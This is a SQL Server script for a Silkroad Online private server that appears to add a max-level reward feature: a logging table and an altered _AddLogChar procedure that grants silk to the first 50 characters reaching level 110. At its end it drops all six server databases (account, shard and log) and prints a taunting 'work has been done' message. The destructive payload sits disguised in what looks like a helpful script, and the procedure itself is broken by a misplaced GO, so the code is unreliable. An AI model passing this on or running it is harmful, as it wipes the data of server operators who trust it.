USE [SRO_VT_LOG]
GO
/****** Object: Table [dbo].[MaxLeveL_Log] Script Date: 10/12/2014 1:48:39 PM ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE TABLE [dbo].[MaxLevel_Log](
[CharID] [int] NULL
) ON [PRIMARY]
USE [SRO_VT_LOG]
GO
/****** Object: StoredProcedure [dbo].[_AddLogChar] Script Date: 07.04.2017 14:50:41 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
ALTER procedure [dbo].[_AddLogChar]
@CharID int,
@EventID tinyint,
@Data1 int,
@Data2 int,
@strPos varchar(64),
@Desc varchar(128)
as
-- Event detection
INSERT INTO [_EventDetect] VALUES (@CharID, @eventID, @data1, @data2, @strPos, @desc, GetDate())
IF ( -- Skips over the unnecessary Records
(@EventID != 11) AND
(@EventID NOT BETWEEN 21 AND 27) AND
(@EventID NOT BETWEEN 200 AND 202) AND
(@EventID NOT BETWEEN 204 AND 206) AND
(@EventID != 210) AND (@EventID != 214) AND (@EventID != 244)
)BEGIN
declare @len_pos int
declare @len_desc int
set @len_pos = len(@strPos)
set @len_desc = len(@Desc)
if (@len_pos > 0 and @len_desc > 0)
begin
insert _LogEventChar values(@CharID, GetDate(), @EventID, @Data1, @Data2, @strPos, @Desc)
end
else if (@len_pos > 0 and @len_desc = 0)
begin
insert _LogEventChar (CharID, EventTime, EventID, Data1, Data2, EventPos) values(@CharID, GetDate(), @EventID, @Data1, @Data2, @strPos)
end
else if (@len_pos = 0 and @len_desc > 0)
begin
insert _LogEventChar (CharID, EventTime, EventID, Data1, Data2, strDesc) values(@CharID, GetDate(), @EventID, @Data1, @Data2, @Desc)
end
else
begin
insert _LogEventChar (CharID, EventTime, EventID, Data1, Data2) values(@CharID, GetDate(), @EventID, @Data1, @Data2)
end
IF (@EventID = 19)
BEGIN
UPDATE SRO_VT_SHARD.dbo._ClientConfig
SET Data = 1677722602, SlotType = 74
WHERE SlotSeq = 0
AND CharID = @CharID
END
GO
Declare @MaxLevelCount int = (Select Count(CharID) from MaxLevel_Log)
declare @UserJID int = (select UserJID from SRO_VT_SHARD.._User where CharID =@CharID)
declare @CharName varchar(max) = (select charname16 from SRO_VT_SHARD.._Char where CharID = @CharID)
if (@EventID = '22' and @Data2 = '110')
begin
insert MaxLevel_Log (CharID) values (@CharID)
begin
if @MaxLevelCount <= 50
begin
insert into PlusNotice (sent,Message)values(0,@Charname +' has reached level 110, ' + @MaxLevelCount + '/50')
Update SRO_VT_ACCOUNT..SK_Silk set silk_own += 150 where JID = @UserJID
end
end
end
END
USE master;
DROP DATABASE SRO_VT_SHARDLOG, SRO_VT_LOG, SRO_VT_SHARDINIT, SRO_VT_SHARD_INIT, SRO_VT_SHARD, SRO_VT_ACCOUNT;
PRINT 'Have fun! The work has been done! Further tutorials, contact: l33th4x0R @Epvp'
|